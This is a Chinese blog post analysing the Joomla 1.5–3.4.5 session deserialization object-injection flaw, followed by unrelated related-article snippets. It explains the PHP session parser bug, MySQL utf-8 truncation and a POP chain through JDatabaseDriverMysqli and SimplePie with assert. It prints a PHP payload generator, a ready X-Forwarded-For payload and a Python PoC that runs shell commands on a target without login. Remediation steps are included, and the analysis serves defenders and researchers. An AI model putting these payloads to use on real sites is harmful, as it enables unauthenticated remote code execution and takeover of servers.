0x00 漏洞简单介绍

jooomla 1.5 到 3.4.5 的全部版本号中存在反序列化对象造成对象注入的漏洞,漏洞利用无须登录,直接在前台就可以运行随意PHP代码。

Joomla 安全团队紧急公布了 Joomla 3.4.6 版本号,修复了这个高危 0day 漏洞。

0x01 漏洞原理

漏洞存在于反序列化session的过程中。我们能够控制session的值。并且没有过滤我们构造的语句,通过mysql截断原理,在把session序列化值存入到数据中的时候截断了数据,造成原来的session无法正常解析,而通过注入|符号,利用sesseion处理漏洞机制的缺陷,导致我们构造的session序列化值能正常反序列化运行。

0x02 漏洞具体解释

在libraries/joomla/session/session.php文件里,joomla将HTTP_USER_AGENT和HTTP_X_FORWARDED_FOR直接存入到了session中

protected function _validate($restart = false)
{
// Allow to restart a session
if ($restart)
{
$this->_state = 'active'; $this->set('session.client.address', null);
$this->set('session.client.forwarded', null);
$this->set('session.client.browser', null);
$this->set('session.token', null);
} // Check if session has expired
if ($this->_expire)
{
$curTime = $this->get('session.timer.now', 0);
$maxTime = $this->get('session.timer.last', 0) + $this->_expire; // Empty session variables
if ($maxTime < $curTime)
{
$this->_state = 'expired'; return false;
}
} // Record proxy forwarded for in the session in case we need it later
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
} // Check for client address
if (in_array('fix_adress', $this->_security) && isset($_SERVER['REMOTE_ADDR']))
{
$ip = $this->get('session.client.address'); if ($ip === null)
{
$this->set('session.client.address', $_SERVER['REMOTE_ADDR']);
}
elseif ($_SERVER['REMOTE_ADDR'] !== $ip)
{
$this->_state = 'error'; return false;
}
} // Check for clients browser
if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
{
$browser = $this->get('session.client.browser'); if ($browser === null)
{
$this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
}
elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
{
// @todo remove code: $this->_state = 'error';
// @todo remove code: return false;
}
} return true;
}

那我们继续跟进查看joomla是怎么操作session的。在 /libraries/joomla/session/storage.php 内JSessionStorage 类中,利用session_set_save_handler又一次实现了 session 存储的read()和write()方法

public function register()
{
// Use this object as the session handler
session_set_save_handler(
array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'),
array($this, 'destroy'), array($this, 'gc')
);
} public function read($id)
{
return;
} /**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $session_data The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 11.1
*/
public function write($id, $session_data)
{
return true;
}

从php手冊定义能够看出read()、write()方法传进和传出的參数会分别自己主动进行序列化和反序列化。这一部分的序列化操作由PHP内核完毕。

并且session存储引擎实现的过程中都没有对session的value值进行安全处理,直接就进行操作了。从joomla的配置文件configuration.php的文件里的$session_handler = 'database'
能够知道session默认的存储方式是存储到数据库中。

造成这个漏洞可行性的有两个关键点:

  1. joomla中session存储的格式是:键名 + 竖线 + 经过 serialize() 函数反序列处理的值 ,当用php(PHP <= 5.6.13)处理器处理session的时候有一个bug,假设有多个key->value的session的时候,第一个解析不对。会继续往下一个的key->value进行解析。其存储格式是。详细參考 https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
  2. 还有一个关键点是假设数据库编码是utf-8的时候。插入数据库的时候利用"%F0%9D%8C%86"字符能够将mysql中utf-8的字段截断了。这个參考当时爆出来的xss漏洞。

    所以仅仅要站点的php版本号的低于5.6.13就满足条件,造成漏洞。

我们能控制的仅仅是session数据中的一个字符串。正常不会造成漏洞。可是我们通过注入一个|,然后配合php的bug就能成功反序列化我们构造的对象。

数据库正常的session

__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450278583;s:18:"session.timer.last";i:1450278583;s:17:"session.timer.now";i:1450278583;s:22:"session.client.browser";s:72:"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:16:"com_mailto.links";a:1:{s:40:"bfd1c1c06565573019854ec4292eb5dc7d87128e";O:8:"stdClass":2:{s:4:"link";s:66:"http://localhost/cms/Joomla_3.4.4/index.php/4-about-your-home-page";s:6:"expiry";i:1450278584;}}}

通过构造的exp

xxx|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð

注入到session数据库中的数据

__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450278674;s:18:"session.timer.last";i:1450278674;s:17:"session.timer.now";i:1450278674;s:22:"session.client.browser";s:72:"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:16:"com_mailto.links";a:1:{s:40:"bfd1c1c06565573019854ec4292eb5dc7d87128e";O:8:"stdClass":2:{s:4:"link";s:66:"http://localhost/cms/Joomla_3.4.4/index.php/4-about-your-home-page";s:6:"expiry";i:1450278674;}}}405:"xxx|O:21:"JDatabaseDriverMysqli":22:{s:4:"name";s:6:"mysqli";s:12:"\0\0\0nameQuote";s:1:"`";s:11:"\0\0\0nullDate";s:19:"0000-00-00 00:00:00";s:26:"

因为我们注入到数据库的数据截断了原本在就在session数据库中的数据(xff或ua注入的seesion值会插入到原本session数据中,从上面给出的session也能够知道4个截断符号和后面的字符都没有了),使得__default这个健在解析所相应的值,无法正确解析,然后php session解析器不会销毁session并退出,而是继续寻找下一个key->value进行解析,所以导致我们构造的session序列化值能正常反序列,造成对象注入。

0x03 exp构造

POP 即面向属性编程,POP 链的构造是寻找程序当前环境中已经定义了或者可以动态载入的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。在joomla中找到了两个类用来构造rop链

  1. JDatabaseDriverMysqli
  2. SimplePie

在libraries\joomla\database\driver\mysqli.php文件里包括JDatabaseDriverMysqli,当中有一个魔术方法

public function __destruct()
{
$this->disconnect();
}

这种方法在类调用结束后会自己主动调用。也就是会运行disconnect的函数。

跟进disconnect的函数

public function disconnect()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
} mysqli_close($this->connection);
} $this->connection = null;
}

函数调用了call_user_func_array这个回调函数 ,第一个參数能够构造eval,然而我们无法控制第二个參数,所以无法构造成eval这个的后门。

可是我们控制第一个參数,就能够继续调用对象,这里调用SimplePie类对象。和它的init方法组成一个回调函数。

跟进SimplePie的init方法

function init()
{
// Check absolute bare minimum requirements.
if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre'))
{
return false;
}
// Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader.
elseif (!extension_loaded('xmlreader'))
{
static $xml_is_sane = null;
if ($xml_is_sane === null)
{
$parser_check = xml_parser_create();
xml_parse_into_struct($parser_check, '<foo>&</foo>', $values);
xml_parser_free($parser_check);
$xml_is_sane = isset($values[0]['value']);
}
if (!$xml_is_sane)
{
return false;
}
} if (isset($_GET[$this->javascript]))
{
SimplePie_Misc::output_javascript();
exit;
} // Pass whatever was set with config options over to the sanitizer.
$this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->cache_class);
$this->sanitize->pass_file_data($this->file_class, $this->timeout, $this->useragent, $this->force_fsockopen); if ($this->feed_url !== null || $this->raw_data !== null)
{
$this->data = array();
$this->multifeed_objects = array();
$cache = false; if ($this->feed_url !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
}
// If it's enabled and we don't want an XML dump, use the cache

这边调用了两个call_user_func,那能够把第二个call_user_func的第一个參数$this->cache_name_function赋值为assert, 第二个參数能够赋值为我们想到的代码,就能够造成随意代码运行的漏洞。

<?

php

class JSimplepieFactory {
} class JDatabaseDriverMysql { } class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
} class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
} $a = new JDatabaseDriverMysqli();
echo serialize($a);

构造的时候有个问题。默认情况下SimplePie是未定义的,所以在调用SimplePie之前先new了一个JSimplepieFactory对象,由于JSimplepieFactory对象在载入时会调用import函数将SimplePie导入到当前工作环境:

在library/joomla/session/storage/database.php。read()方法中

public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo(); try
{
// Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id)); $db->setQuery($query); $result = (string) $db->loadResult(); $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result); return $result;
}
catch (Exception $e)
{
return false;
}
} $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);

所以我们的将我们构造好生成的exp中的chr(0)*chr(0)替换成\0\0\0。最后加上截断字符,加上键值和|符号。然后利用User-Agent或者X-Forwarded-For头发送http包写入到数据库中,再一次用同样cookie訪问站点就成功运行了exp。运行phpinfo()的exp例如以下:

X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð

exploit-db上生成随意命令代码的python脚本

'''
Simple PoC for Joomla Object Injection.
Gary @ Sec-1 ltd
http://www.sec-1.com/
''' import requests # easy_install requests def get_url(url, user_agent): headers = {
'User-Agent': user_agent
}
cookies = requests.get(url,headers=headers).cookies
for _ in range(3):
response = requests.get(url, headers=headers,cookies=cookies)
return response def php_str_noquotes(data):
"Convert string to chr(xx).chr(xx) for use in php"
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char)) return encoded[:-1] def generate_payload(php_payload): php_payload = "eval({0})".format(php_str_noquotes(php_payload)) terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate return exploit_template pl = generate_payload("system('touch /tmp/fx');") print get_url("http://172.31.6.242/", pl)

0x04 漏洞修复

  1. 改动 joomla 根文件夹 configuration.php 。把 $session_handler 的值改为none。会将session存储引擎设为文件系统。

  2. 把 PHP 版本号升到到 5.6.13 或更高的版本号。
  3. 更新joomla到3.4.6版本号

參考链接:

http://drops.wooyun.org/papers/11371

http://drops.wooyun.org/papers/11330

http://bobao.360.cn/learning/detail/2501.html

https://github.com/80vul/phpcodz/blob/master/research/pch-013.md

joomla对象注入漏洞分析的更多相关文章

  1. Codeigniter 利用加密Key(密钥)的对象注入漏洞

    http://drops.wooyun.org/papers/1449 原文链接:http://www.mehmetince.net/codeigniter-object-injection-vuln ...

  2. WordPress < 3.6.1 PHP 对象注入漏洞

    0x00 背景 当我读到一篇关于Joomla的“PHP对象注射”的漏洞blog后,我挖深了一点就发现Stefan Esser大神在2010年黑帽大会的文章: http://media.blackhat ...

  3. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  4. SpringBoot SpEL表达式注入漏洞-分析与复现

    目录 0x00前言 0x01触发原因 0x02调试分析 0x03补丁分析 0x04参考文章 影响版本: 1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升至1.3.1或以上版本 ...

  5. Beescms_v4.0 sql注入漏洞分析

    Beescms_v4.0 sql注入漏洞分析 一.漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入. 二.漏洞环境搭建 1.官方下载 ...

  6. joomla \libraries\joomla\session\session.php 反序列化截断畸形字符串导致对象注入漏洞

    catalog . 漏洞描述 . PHP SESSION持久化 . PHP 序列化/反序列化内核实现 . 漏洞代码分析 . POC构造技巧 . 防御方案 . Code Pathc方案 1. 漏洞描述 ...

  7. Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析

    RickGray · 2015/10/26 11:24 昨日,Joomla CMS发布新版本3.4.5,该版本修复了一个高危的SQL注入漏洞,3.2至3.4.4版本都受到影响.攻击者通过该漏洞可以直接 ...

  8. Vtiger CRM 几处SQL注入漏洞分析,测试工程师可借鉴

    本文由云+社区发表 0x00 前言 干白盒审计有小半年了,大部分是业务上的代码,逻辑的复杂度和功能模块结构都比较简单,干久了收获也就一般,有机会接触一个成熟的产品(vtiger CRM)进行白盒审计, ...

  9. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

随机推荐

  1. &lt;LeetCode OJ&gt; 78 / 90 Subsets (I / II)

    Given a set of distinct integers, nums, return all possible subsets. Note: Elements in a subset must ...

  2. 〖Linux〗使用ssh登录远程主机,并在本地打开远程图形界面

    1. 修改/etc/ssh/sshd_config文件,设置允许TCP转发和X11转发 AllowTcpForwarding yes X11Forwarding yes 2. 登录无图形远程主机,并允 ...

  3. Ubuntu下开启root登陆--并开启SSH登录验证

    Ubuntu下开启root登陆亲手安装过Ubuntu的童鞋都知道,默认安装只会添加一个普通用户名和密码,而超级用户权限则是利用sudo命令来执行.在Ubuntu下使用root登陆或者在shell中用s ...

  4. mysql的rand函数

    项目中需要动态随机生成一些固定位数的随机数,如8位,5位等. 之前看到的写法是这样 ROUND(ROUND(RAND(),5)*100000) 这样写不太准确,有几率出现4位的情况,Rand() 函数 ...

  5. IIS自定义404错误不能生效的原因

    通过IIS自定义错误信息的功能,来自定义的404错误页面. 先制作显示错误信息的htm文件404.htm(随便什么名都行),我把文件入在根目录下. 使用Url类型,设置“/404.htm ”,可以成功 ...

  6. Python多线程1:threading

    threading模块提供了高级别的线程接口,基于低级别的_thread模块实现. 模块基本方法 该模块定了的方法例如以下: threading.active_count()         返回当前 ...

  7. union共用体的对齐

    union DATE { char a; ]; double b; }; DATE max; cout<< sizeof(max) << endl; 这个问题很好回答,并且我把 ...

  8. CentOS6.x和CentOS7.X启动系统不显示进度条设置方法

    [root@ok Desktop]# vi /boot/grub/grub.conf # grub.conf generated by anaconda # # Note that you do no ...

  9. CCCallFunc CCCallFuncN CCCallFuncND的区别和使用

    CCCallFunc CCCallFuncN CCCallFuncND都用来创建带有回调函数的动作,区别主要在于回调函数是否带有参数 CCCallFunc是执行对应的回调函数,其中回调函数不可带参数. ...

  10. 03、矢量图形查询工具(Symbol Unicode)

    目前的软件开发中,很多地方都使用到了矢量图标,在 Metro app 的开发中,可以使用 Windows 系统图标(02.Universal app 中按钮图标使用 ),包括 Segoe UI Sym ...